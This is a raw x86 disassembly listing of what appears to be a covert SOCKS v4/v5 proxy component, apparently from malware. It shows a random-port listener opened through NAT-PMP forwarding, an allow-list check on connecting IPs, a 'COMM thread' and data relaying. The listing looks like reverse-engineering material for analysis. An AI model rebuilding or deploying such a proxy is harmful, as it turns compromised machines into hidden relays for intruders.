		mov	eax, [ebp-418h]
		mov	edx, [eax]
		mov	[ebp-40Ch], edx
		push	eax
		call	sub_4424E1
		pop	ecx
		push	offset dword_412860
		call	dword_411CD0	; RtlEnterCriticalSection
		push	0
		push	dword ptr [ebp-40Ch]
		push	dword_412938
		call	sub_44344E
		add	esp, 0Ch
		mov	[ebp-420h], eax
		push	offset dword_412860
		call	dword_411CD4	; RtlLeaveCriticalSection
		cmp	dword ptr [ebp-420h], 0
		jnz	short loc_445686
		mov	eax, [ebp-40Ch]
		mov	[ebp-41Ch], eax
		push	eax
		call	sub_44851B	; inet_ntoa
		mov	[ebp-414h], eax
		push	dword ptr [ebp-414h]
		push	offset aConnectionReje ; "connection rejected (from [%s])\n"
		call	nullsub_3
		pop	ecx
		pop	ecx
		jmp	loc_44584D
; ---------------------------------------------------------------------------


loc_445686:				; CODE XREF: DMN1:00445655j
		mov	word ptr [ebp-40Eh], 0C1Dh
		push	offset a127_0_0_1 ; "127.0.0.1"
		call	sub_442C29
		pop	ecx
		mov	[ebp-40Ch], eax
		test	eax, eax
		jz	short loc_4456AF
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4456AF
		test	eax, eax
		jnz	short loc_4456B4


loc_4456AF:				; CODE XREF: DMN1:004456A2j
					; DMN1:004456A9j
		jmp	loc_44584D
; ---------------------------------------------------------------------------


loc_4456B4:				; CODE XREF: DMN1:004456ADj
		mov	eax, [ebp-40Ch]
		mov	[ebp-41Ch], eax
		push	eax
		call	sub_44851B	; inet_ntoa
		mov	[ebp-414h], eax
		movzx	eax, word ptr [ebp-40Eh]
		push	eax
		push	dword ptr [ebp-414h]
		push	offset aConnectingToSI ; "connecting to	%s:%i\n"
		call	nullsub_3
		add	esp, 0Ch
		movzx	eax, word ptr [ebp-40Eh]
		push	eax
		push	dword ptr [ebp-40Ch]
		push	edi
		call	sub_4429D2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_445728
		call	sub_44852D	; WSAGetLastError
		push	eax
		movzx	eax, word ptr [ebp-40Eh]
		push	eax
		push	dword ptr [ebp-414h]
		push	offset aConnectionToSI ; "connection to	%s:%i failed! %-( (%i)\n"
		call	nullsub_3
		add	esp, 10h
		jmp	loc_44584D
; ---------------------------------------------------------------------------


loc_445728:				; CODE XREF: DMN1:00445700j
		movzx	eax, word ptr [ebp-40Eh]
		push	eax
		push	dword ptr [ebp-414h]
		push	offset aConnectedToSI ;	"connected to %s:%i\n"
		call	nullsub_3
		add	esp, 0Ch
		xor	esi, esi


loc_445745:				; CODE XREF: DMN1:0044582Cj
					; DMN1:0044583Dj
		inc	esi
		push	dword ptr [ebp-4]
		call	sub_44293A
		pop	ecx
		test	eax, eax
		jl	loc_445842
		push	dword ptr [ebp-4]
		call	sub_4429AD
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_445842
		cmp	esi, 1Eh
		jle	short loc_445776
		test	ebx, ebx
		jnz	short loc_445776
		xor	ebx, ebx
		inc	ebx


loc_445776:				; CODE XREF: DMN1:0044576Dj
					; DMN1:00445771j
		test	ebx, ebx
		jle	short loc_4457C2
		cmp	ebx, 400h
		jle	short loc_445787
		mov	ebx, 400h


loc_445787:				; CODE XREF: DMN1:00445780j
		push	ebx
		lea	eax, [ebp-408h]
		push	eax
		push	dword ptr [ebp-4]
		call	sub_442B47
		add	esp, 0Ch
		mov	[ebp-8], eax
		test	eax, eax
		jle	loc_445842
		push	dword ptr [ebp-8]
		lea	eax, [ebp-408h]
		push	eax
		push	edi
		call	sub_442BF2
		add	esp, 0Ch
		test	eax, eax
		jle	loc_44584D
		xor	esi, esi


loc_4457C2:				; CODE XREF: DMN1:00445778j
		push	edi
		call	sub_44293A
		pop	ecx
		test	eax, eax
		jl	short loc_445842
		push	edi
		call	sub_4429AD
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_445842
		cmp	esi, 1Eh
		jle	short loc_4457E6
		test	ebx, ebx
		jnz	short loc_4457E6
		xor	ebx, ebx
		inc	ebx


loc_4457E6:				; CODE XREF: DMN1:004457DDj
					; DMN1:004457E1j
		test	ebx, ebx
		jle	short loc_44582A
		cmp	ebx, 400h
		jle	short loc_4457F7
		mov	ebx, 400h


loc_4457F7:				; CODE XREF: DMN1:004457F0j
		push	ebx
		lea	eax, [ebp-408h]
		push	eax
		push	edi
		call	sub_442B47
		add	esp, 0Ch
		mov	[ebp-8], eax
		test	eax, eax
		jle	short loc_445842
		push	dword ptr [ebp-8]
		lea	eax, [ebp-408h]
		push	eax
		push	dword ptr [ebp-4]
		call	sub_442BF2
		add	esp, 0Ch
		test	eax, eax
		jle	short loc_44584D
		xor	esi, esi


loc_44582A:				; CODE XREF: DMN1:004457E8j
		test	esi, esi
		jz	loc_445745
		push	190h
		call	dword_411D04	; Sleep
		jmp	loc_445745
; ---------------------------------------------------------------------------


loc_445842:				; CODE XREF: DMN1:00445751j
					; DMN1:00445764j ...
		push	offset aDataExchangeCo ; "data exchange	complete\n"
		call	nullsub_3
		pop	ecx


loc_44584D:				; CODE XREF: DMN1:00445681j
					; DMN1:loc_4456AFj ...
		push	offset aConnectionClos ; "connection closed.\n"
		call	nullsub_3
		pop	ecx
		push	dword ptr [ebp-4]
		call	sub_44292D
		pop	ecx
		test	edi, edi
		jz	short loc_44586C
		push	edi
		call	sub_44292D
		pop	ecx


loc_44586C:				; CODE XREF: DMN1:00445863j
		call	sub_44919B
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi


loc_445880:				; CODE XREF: DMN1:00445936j
		call	sub_4427C4
		mov	dword_41102C, eax
		push	0C1Ch
		push	0
		push	dword_41102C
		call	sub_442A22
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4458B0
		push	offset aCanTBindPortMa ; "can't bind port mapper listen socket!\n"
		call	nullsub_3
		pop	ecx
		jmp	short loc_44590F
; ---------------------------------------------------------------------------


loc_4458B0:				; CODE XREF: DMN1:004458A1j
					; DMN1:004458DAj ...
		push	dword_41102C
		call	sub_442A72
		pop	ecx
		test	eax, eax
		jz	short loc_44590F
		lea	eax, [ebp-6]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	dword_41102C
		call	sub_442AD7
		add	esp, 0Ch
		mov	esi, eax
		test	esi, esi
		jz	short loc_4458B0
		push	0Ch
		call	sub_4424B3
		pop	ecx
		mov	ebx, eax
		mov	eax, [ebp-4]
		mov	[ebx], eax
		mov	ax, [ebp-6]
		mov	[ebx+4], ax
		mov	[ebx+8], esi
		push	ebx
		push	0
		push	offset sub_40417F
		call	sub_44910B
		add	esp, 0Ch
		push	eax
		call	dword_411CFC	; CloseHandle
		jmp	short loc_4458B0
; ---------------------------------------------------------------------------


loc_44590F:				; CODE XREF: DMN1:004458AEj
					; DMN1:004458BEj
		cmp	dword_41102C, 0
		jz	short loc_44593B
		push	dword_41102C
		call	sub_44292D
		pop	ecx
		and	dword_41102C, 0
		push	4E20h
		call	dword_411D04	; Sleep
		jmp	loc_445880
; ---------------------------------------------------------------------------


loc_44593B:				; CODE XREF: DMN1:00445916j
		cmp	dword_41102C, 0
		jz	short loc_445950
		push	dword_41102C
		call	sub_44292D
		pop	ecx


loc_445950:				; CODE XREF: DMN1:00445942j
		and	dword_41102C, 0
		call	sub_44919B
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445962	proc near		; CODE XREF: sub_4459DE+2Ep

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		lea	ebx, [ebp+var_20]
		mov	byte ptr [ebx],	0
		inc	ebx
		movzx	eax, [ebp+arg_4]
		mov	[ebx], al
		inc	ebx
		mov	ax, [ebp+arg_C]
		mov	[ebx], ax
		add	ebx, 2
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		push	8
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_442BF2
		add	esp, 0Ch
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_445962	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44599C	proc near		; CODE XREF: sub_4459DE+47p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		lea	ebx, [ebp+var_20]
		mov	byte ptr [ebx],	5
		inc	ebx
		movzx	eax, [ebp+arg_4]
		mov	[ebx], al
		inc	ebx
		mov	byte ptr [ebx],	0
		inc	ebx
		mov	byte ptr [ebx],	1
		inc	ebx
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		add	ebx, 4
		mov	ax, [ebp+arg_C]
		mov	[ebx], ax
		push	0Ah
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_442BF2
		add	esp, 0Ch
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44599C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4459DE	proc near		; CODE XREF: DMN1:00445CA8p
					; DMN1:00445E64p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h
arg_10		= word ptr  18h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	bl, [ebp+arg_8]
		cmp	bl, 9
		jbe	short loc_4459EE
		xor	bl, bl
		inc	bl


loc_4459EE:				; CODE XREF: sub_4459DE+Aj
		cmp	[ebp+arg_0], 4
		jnz	short loc_445A16
		movzx	eax, bl
		mov	bl, byte_411038[eax]
		movzx	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		movzx	eax, bl
		push	eax
		push	[ebp+arg_4]
		call	sub_445962
		add	esp, 10h
		jmp	short loc_445A2D
; ---------------------------------------------------------------------------


loc_445A16:				; CODE XREF: sub_4459DE+14j
		movzx	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		movzx	eax, bl
		push	eax
		push	[ebp+arg_4]
		call	sub_44599C
		add	esp, 10h


loc_445A2D:				; CODE XREF: sub_4459DE+36j
		pop	ebx
		pop	ebp
		retn
sub_4459DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445A30	proc near		; CODE XREF: DMN1:00445C32p

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		mov	ebx, [ebp+arg_0]


loc_445A38:				; CODE XREF: sub_445A30+23j
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		push	ebx
		call	sub_442B47
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_445A4F
		xor	eax, eax
		jmp	short loc_445A58
; ---------------------------------------------------------------------------


loc_445A4F:				; CODE XREF: sub_445A30+19j
		cmp	[ebp+var_1], 0
		jnz	short loc_445A38
		xor	eax, eax
		inc	eax


loc_445A58:				; CODE XREF: sub_445A30+1Dj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_445A30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445A5D	proc near		; CODE XREF: DMN1:00445C69p

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		xor	edi, edi
		mov	byte ptr [ebx],	0


loc_445A6F:				; CODE XREF: sub_445A5D+47j
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		push	[ebp+arg_0]
		call	sub_442B47
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_445A88
		xor	eax, eax
		jmp	short loc_445AA9
; ---------------------------------------------------------------------------


loc_445A88:				; CODE XREF: sub_445A5D+25j
		mov	eax, edi
		inc	edi
		mov	dl, [ebp+var_1]
		mov	[ebx+eax], dl
		mov	byte ptr [ebx+edi], 0
		lea	eax, [esi-1]
		cmp	edi, eax
		jl	short loc_445AA0
		xor	eax, eax
		jmp	short loc_445AA9
; ---------------------------------------------------------------------------


loc_445AA0:				; CODE XREF: sub_445A5D+3Dj
		cmp	[ebp+var_1], 0
		jnz	short loc_445A6F
		xor	eax, eax
		inc	eax


loc_445AA9:				; CODE XREF: sub_445A5D+29j
					; sub_445A5D+41j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_445A5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 430h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+8]
		mov	[ebp-41Ch], eax
		mov	edi, [eax+8]
		mov	eax, [ebp-41Ch]
		mov	edx, [eax]
		mov	[ebp-410h], edx
		mov	dx, [eax+4]
		mov	[ebp-40Ah], dx
		push	eax
		call	sub_4424E1
		pop	ecx
		and	dword ptr [ebp-4], 0
		mov	eax, [ebp-410h]
		mov	[ebp-420h], eax
		push	eax
		call	sub_44851B	; inet_ntoa
		mov	[ebp-418h], eax
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		push	dword ptr [ebp-418h]
		push	offset aConnectionFrom ; "connection from [%s]\n"
		call	sub_448A5B
		add	esp, 0Ch
		mov	byte ptr [ebp-411h], 0
		mov	byte ptr [ebp-421h], 0
		push	1
		lea	eax, [ebp-411h]
		push	eax
		push	edi
		call	sub_442B47
		add	esp, 0Ch
		test	eax, eax
		jle	loc_44611D
		push	offset dword_412860
		call	dword_411CD0	; RtlEnterCriticalSection
		push	0
		push	dword ptr [ebp-410h]
		push	dword_412938
		call	sub_44344E
		add	esp, 0Ch
		mov	[ebp-428h], eax
		push	offset dword_412860
		call	dword_411CD4	; RtlLeaveCriticalSection
		cmp	dword ptr [ebp-428h], 0
		jnz	short loc_445B99
		push	dword ptr [ebp-418h]
		push	offset aConnectionReje ; "connection rejected (from [%s])\n"
		call	nullsub_3
		pop	ecx
		pop	ecx
		jmp	loc_44611D
; ---------------------------------------------------------------------------


loc_445B99:				; CODE XREF: DMN1:00445B80j
		mov	word ptr [ebp-40Ah], 0
		and	dword ptr [ebp-410h], 0
		mov	al, [ebp-411h]
		cmp	al, 4
		jz	short loc_445BBB
		cmp	al, 5
		jnz	loc_44611D


loc_445BBB:				; CODE XREF: DMN1:00445BB1j
		push	dword ptr [ebp-418h]
		movsx	eax, byte ptr [ebp-411h]
		push	eax
		push	offset aSocksVIS ; "socks v%i  [%s]\n"
		call	nullsub_3
		add	esp, 0Ch
		cmp	byte ptr [ebp-411h], 4
		jnz	loc_445CB5
		push	1
		lea	eax, [ebp-421h]
		push	eax
		push	edi
		call	sub_442B47
		add	esp, 0Ch
		test	eax, eax
		jle	loc_44611D
		push	2
		lea	eax, [ebp-40Ah]
		push	eax
		push	edi
		call	sub_442B47
		add	esp, 0Ch
		test	eax, eax
		jle	loc_44611D
		push	4
		lea	eax, [ebp-410h]
		push	eax
		push	edi
		call	sub_442B47
		add	esp, 0Ch
		test	eax, eax
		jle	loc_44611D
		push	edi
		call	sub_445A30
		pop	ecx
		test	eax, eax
		jz	loc_44611D
		mov	eax, [ebp-410h]
		test	eax, 0FFFFFFh
		jnz	loc_445EA1
		test	eax, 0FF000000h
		jz	loc_445EA1
		push	400h
		lea	eax, [ebp-408h]
		push	eax
		push	edi
		call	sub_445A5D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_44611D
		lea	eax, [ebp-408h]
		push	eax
		call	sub_442C29
		pop	ecx
		mov	[ebp-410h], eax
		test	eax, eax
		jz	short loc_445C9F
		cmp	eax, 0FFFFFFFFh
		jz	short loc_445C9F
		test	eax, eax
		jnz	loc_445EA1


loc_445C9F:				; CODE XREF: DMN1:00445C8Ej
					; DMN1:00445C95j
		push	0
		push	0
		push	4
		push	edi
		push	4
		call	sub_4459DE
		add	esp, 14h
		jmp	loc_44611D
; ---------------------------------------------------------------------------


loc_445CB5:				; CODE XREF: DMN1:00445BDDj
		cmp	byte ptr [ebp-411h], 5
		jnz	loc_44611D
		mov	byte ptr [ebp-429h], 0
		push	1
		lea	eax, [ebp-429h]
		push	eax
		push	edi
		call	sub_442B47
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_445D05
		jmp	loc_44611D
; ---------------------------------------------------------------------------


loc_445CE4:				; CODE XREF: DMN1:00445D0Cj
		push	1
		lea	eax, [ebp-42Ah]
		push	eax
		push	edi
		call	sub_442B47
		add	esp, 0Ch
		test	eax, eax
		jle	loc_44611D
		sub	byte ptr [ebp-429h], 1


loc_445D05:				; CODE XREF: DMN1:00445CDDj
		cmp	byte ptr [ebp-429h], 0
		jnz	short loc_445CE4
		mov	dword ptr [ebp-430h], 5
		push	2
		lea	eax, [ebp-430h]
		push	eax
		push	edi
		call	sub_442BF2
		add	esp, 0Ch
		test	eax, eax
		jle	loc_44611D
		push	1
		lea	eax, [ebp-42Ah]
		push	eax
		push	edi
		call	sub_442B47
		add	esp, 0Ch
		test	eax, eax
		jle	loc_44611D
		cmp	byte ptr [ebp-42Ah], 5
		jnz	loc_44611D
		push	1
		lea	eax, [ebp-421h]
		push	eax
		push	edi
		call	sub_442B47
		add	esp, 0Ch
		test	eax, eax
		jle	loc_44611D
		push	1
		lea	eax, [ebp-42Ah]
		push	eax
		push	edi
		call	sub_442B47
		add	esp, 0Ch
		test	eax, eax
		jle	loc_44611D
		mov	byte ptr [ebp-42Bh], 0
		push	1
		lea	eax, [ebp-42Bh]
		push	eax
		push	edi
		call	sub_442B47
		add	esp, 0Ch
		test	eax, eax
		jle	loc_44611D
		cmp	byte ptr [ebp-42Bh], 1
		jnz	short loc_445DD6
		push	4
		lea	eax, [ebp-410h]
		push	eax
		push	edi
		call	sub_442B47
		add	esp, 0Ch
		test	eax, eax
		jg	loc_445E87
		jmp	loc_44611D
; ---------------------------------------------------------------------------


loc_445DD6:				; CODE XREF: DMN1:00445DB5j
		cmp	byte ptr [ebp-42Bh], 3
		jnz	loc_445E71
		push	1
		lea	eax, [ebp-429h]
		push	eax
		push	edi
		call	sub_442B47
		add	esp, 0Ch
		test	eax, eax
		jle	loc_44611D
		cmp	byte ptr [ebp-429h], 0
		jz	loc_44611D
		movsx	eax, byte ptr [ebp-429h]
		push	eax
		lea	eax, [ebp-408h]
		push	eax
		push	edi
		call	sub_442B47
		add	esp, 0Ch
		test	eax, eax
		jle	loc_44611D
		movsx	eax, byte ptr [ebp-429h]
		mov	byte ptr [ebp+eax-408h], 0
		lea	eax, [ebp-408h]
		push	eax
		call	sub_442C29
		pop	ecx
		mov	[ebp-410h], eax
		test	eax, eax
		jz	short loc_445E5B
		cmp	eax, 0FFFFFFFFh
		jz	short loc_445E5B
		test	eax, eax
		jnz	short loc_445E87


loc_445E5B:				; CODE XREF: DMN1:00445E4Ej
					; DMN1:00445E55j
		push	0
		push	0
		push	4
		push	edi
		push	5
		call	sub_4459DE
		add	esp, 14h
		jmp	loc_44611D
; ---------------------------------------------------------------------------


loc_445E71:				; CODE XREF: DMN1:00445DDDj
		push	0
		push	0
		push	8
		push	edi
		push	5
		call	sub_4459DE
		add	esp, 14h
		jmp	loc_44611D
; ---------------------------------------------------------------------------


loc_445E87:				; CODE XREF: DMN1:00445DCBj
					; DMN1:00445E59j
		push	2
		lea	eax, [ebp-40Ah]
		push	eax
		push	edi
		call	sub_442B47
		add	esp, 0Ch
		test	eax, eax
		jle	loc_44611D


loc_445EA1:				; CODE XREF: DMN1:00445C4Bj
					; DMN1:00445C56j ...
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		call	sub_4484D3	; htons
		mov	[ebp-40Ah], ax
		test	ax, ax
		jnz	short loc_445ED6
		push	0
		push	0
		push	2
		push	edi
		movsx	eax, byte ptr [ebp-411h]
		push	eax
		call	sub_4459DE
		add	esp, 14h
		jmp	loc_44611D
; ---------------------------------------------------------------------------


loc_445ED6:				; CODE XREF: DMN1:00445EB8j
		cmp	byte ptr [ebp-421h], 1
		jz	short loc_445F05
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		push	dword ptr [ebp-410h]
		push	7
		push	edi
		movsx	eax, byte ptr [ebp-411h]
		push	eax
		call	sub_4459DE
		add	esp, 14h
		jmp	loc_44611D
; ---------------------------------------------------------------------------


loc_445F05:				; CODE XREF: DMN1:00445EDDj
		call	sub_4427C4
		mov	[ebp-4], eax
		test	eax, eax
		jnz	short loc_445F2D
		push	0
		push	0
		push	1
		push	edi
		movsx	eax, byte ptr [ebp-411h]
		push	eax
		call	sub_4459DE
		add	esp, 14h
		jmp	loc_44611D
; ---------------------------------------------------------------------------


loc_445F2D:				; CODE XREF: DMN1:00445F0Fj
		mov	eax, [ebp-410h]
		mov	[ebp-420h], eax
		push	eax
		call	sub_44851B	; inet_ntoa
		mov	[ebp-418h], eax
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		push	dword ptr [ebp-418h]
		push	offset aConnectingToSI ; "connecting to	%s:%i\n"
		call	nullsub_3
		add	esp, 0Ch
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		push	dword ptr [ebp-410h]
		push	dword ptr [ebp-4]
		call	sub_4429D2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_445FC4
		call	sub_44852D	; WSAGetLastError
		push	eax
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		push	dword ptr [ebp-418h]
		push	offset aConnectionToSI ; "connection to	%s:%i failed! %-( (%i)\n"
		call	nullsub_3
		add	esp, 10h
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		push	dword ptr [ebp-410h]
		push	4
		push	edi
		movsx	eax, byte ptr [ebp-411h]
		push	eax
		call	sub_4459DE
		add	esp, 14h
		jmp	loc_44611D
; ---------------------------------------------------------------------------


loc_445FC4:				; CODE XREF: DMN1:00445F7Bj
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		push	dword ptr [ebp-418h]
		push	offset aConnectedToSI ;	"connected to %s:%i\n"
		call	nullsub_3
		add	esp, 0Ch
		movzx	eax, word ptr [ebp-40Ah]
		push	eax
		push	dword ptr [ebp-410h]
		push	0
		push	edi
		movsx	eax, byte ptr [ebp-411h]
		push	eax
		call	sub_4459DE
		add	esp, 14h
		test	eax, eax
		jz	loc_44611D
		push	offset aTransferringDa ; "transferring data...\n"
		call	nullsub_3
		pop	ecx
		xor	esi, esi


loc_446015:				; CODE XREF: DMN1:004460FCj
					; DMN1:0044610Dj
		inc	esi
		push	edi
		call	sub_44293A
		pop	ecx
		test	eax, eax
		jl	loc_446112
		push	edi
		call	sub_4429AD
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_446112
		cmp	esi, 1Eh
		jle	short loc_446042
		test	ebx, ebx
		jnz	short loc_446042
		xor	ebx, ebx
		inc	ebx


loc_446042:				; CODE XREF: DMN1:00446039j
					; DMN1:0044603Dj
		test	ebx, ebx
		jle	short loc_44608E
		cmp	ebx, 400h
		jle	short loc_446053
		mov	ebx, 400h


loc_446053:				; CODE XREF: DMN1:0044604Cj
		push	ebx
		lea	eax, [ebp-408h]
		push	eax
		push	edi
		call	sub_442B47
		add	esp, 0Ch
		mov	[ebp-8], eax
		test	eax, eax
		jle	loc_446112
		push	dword ptr [ebp-8]
		lea	eax, [ebp-408h]
		push	eax
		push	dword ptr [ebp-4]
		call	sub_442BF2
		add	esp, 0Ch
		test	eax, eax
		jle	loc_44611D
		xor	esi, esi


loc_44608E:				; CODE XREF: DMN1:00446044j
		push	dword ptr [ebp-4]
		call	sub_44293A
		pop	ecx
		test	eax, eax
		jl	short loc_446112
		push	dword ptr [ebp-4]
		call	sub_4429AD
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_446112
		cmp	esi, 1Eh
		jle	short loc_4460B6
		test	ebx, ebx
		jnz	short loc_4460B6
		xor	ebx, ebx
		inc	ebx


loc_4460B6:				; CODE XREF: DMN1:004460ADj
					; DMN1:004460B1j
		test	ebx, ebx
		jle	short loc_4460FA
		cmp	ebx, 400h
		jle	short loc_4460C7
		mov	ebx, 400h


loc_4460C7:				; CODE XREF: DMN1:004460C0j
		push	ebx
		lea	eax, [ebp-408h]
		push	eax
		push	dword ptr [ebp-4]
		call	sub_442B47
		add	esp, 0Ch
		mov	[ebp-8], eax
		test	eax, eax
		jle	short loc_446112
		push	dword ptr [ebp-8]
		lea	eax, [ebp-408h]
		push	eax
		push	edi
		call	sub_442BF2
		add	esp, 0Ch
		test	eax, eax
		jle	short loc_44611D
		xor	esi, esi


loc_4460FA:				; CODE XREF: DMN1:004460B8j
		test	esi, esi
		jz	loc_446015
		push	12Ch
		call	dword_411D04	; Sleep
		jmp	loc_446015
; ---------------------------------------------------------------------------


loc_446112:				; CODE XREF: DMN1:0044601Fj
					; DMN1:00446030j ...
		push	offset aDataExchangeCo ; "data exchange	complete\n"
		call	nullsub_3
		pop	ecx


loc_44611D:				; CODE XREF: DMN1:00445B41j
					; DMN1:00445B94j ...
		push	offset aConnectionClos ; "connection closed.\n"
		call	nullsub_3
		pop	ecx
		push	edi
		call	sub_44292D
		pop	ecx
		cmp	dword ptr [ebp-4], 0
		jz	short loc_44613E
		push	dword ptr [ebp-4]
		call	sub_44292D
		pop	ecx


loc_44613E:				; CODE XREF: DMN1:00446133j
		call	sub_44919B
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		and	dword ptr [ebp-4], 0
		and	dword_41100C, 0
		push	offset aListener___ ; "listener...\n"
		call	nullsub_3
		pop	ecx
		lea	eax, [ebp-0Ah]
		push	eax
		call	sub_443911
		pop	ecx
		mov	bx, ax
		test	bx, bx
		jz	short loc_44619E
		cmp	bx, 0FFFFh
		jz	short loc_44619E
		movzx	eax, bx
		cmp	dword_411010, eax
		jz	short loc_44619E
		movzx	eax, bx
		mov	dword_411010, eax
		movzx	eax, word ptr [ebp-0Ah]
		mov	dword_41100C, eax


loc_44619E:				; CODE XREF: DMN1:00446179j
					; DMN1:00446180j ...
		call	sub_4427C4
		mov	dword_411034, eax


loc_4461A8:				; CODE XREF: DMN1:00446221j
		cmp	dword_41100C, 0
		jnz	short loc_4461E1


loc_4461B1:				; CODE XREF: DMN1:004461D8j
					; DMN1:004461DFj
		lea	eax, [ebp-4]
		push	eax
		call	sub_44246C
		pop	ecx
		mov	ecx, 4E20h
		cdq
		idiv	ecx
		lea	eax, [edx+4E20h]
		mov	dword_41100C, eax
		mov	eax, dword_41100C
		cmp	eax, 247Fh
		jz	short loc_4461B1
		cmp	eax, 0BB8h
		jz	short loc_4461B1


loc_4461E1:				; CODE XREF: DMN1:004461AFj
		movzx	eax, word ptr dword_41100C
		push	eax
		push	0
		push	dword_411034
		call	sub_442A22
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_446223
		and	dword_41100C, 0
		and	dword_411010, 0
		push	dword_411034
		call	sub_44292D
		pop	ecx
		call	sub_4427C4
		mov	dword_411034, eax
		jmp	short loc_4461A8
; ---------------------------------------------------------------------------


loc_446223:				; CODE XREF: DMN1:004461FBj
		push	dword_41100C
		push	offset aSocksPortI ; "SOCKS port: %i\n"
		call	sub_448A5B
		pop	ecx
		pop	ecx
		mov	eax, dword_41100C
		mov	dword_411010, eax
		call	sub_44457E
		mov	[ebp-8], eax
		movzx	eax, word ptr dword_411010
		push	eax
		movzx	eax, word ptr dword_41100C
		push	eax
		push	dword ptr [ebp-8]
		call	sub_44478D
		add	esp, 0Ch
		movzx	eax, ax
		mov	dword_411010, eax
		cmp	dword_411010, 0
		jnz	short loc_44627F
		mov	eax, dword_41100C
		mov	dword_411010, eax
		jmp	short loc_446291
; ---------------------------------------------------------------------------


loc_44627F:				; CODE XREF: DMN1:00446271j
		push	dword_411010
		push	offset aNatpmpForwarde ; "NATPMP: forwarded to:	%i\n"
		call	sub_448A5B
		pop	ecx
		pop	ecx


loc_446291:				; CODE XREF: DMN1:0044627Dj
		movzx	eax, word ptr dword_41100C
		push	eax
		push	eax
		call	sub_443F6D
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4462AA
		mov	eax, dword_41100C


loc_4462AA:				; CODE XREF: DMN1:004462A3j
		push	0
		push	0
		push	offset sub_40440D
		call	sub_44910B
		add	esp, 0Ch
		push	eax
		call	dword_411CFC	; CloseHandle
		push	1
		push	offset dword_411024
		call	dword_411D08	; InterlockedExchange
		push	1
		push	offset dword_411030
		call	dword_411D08	; InterlockedExchange
		push	offset aStartingCommTh ; "starting COMM	thread...\n"
		call	nullsub_3
		pop	ecx
		push	0
		push	0
		push	offset sub_40400E
		call	sub_44910B
		add	esp, 0Ch
		push	eax
		call	dword_411CFC	; CloseHandle
		push	0C8h
		call	dword_411D04	; Sleep
		push	0
		push	0
		push	offset sub_403FEA
		call	sub_44910B
		add	esp, 0Ch
		push	eax
		call	dword_411CFC	; CloseHandle
		push	0C8h
		call	dword_411D04	; Sleep


loc_44632D:				; CODE XREF: DMN1:00446357j
					; DMN1:0044638Aj
		push	dword_411034
		call	sub_442A72
		pop	ecx
		test	eax, eax
		jz	short loc_44638C
		lea	eax, [ebp-12h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		push	dword_411034
		call	sub_442AD7
		add	esp, 0Ch
		mov	edi, eax
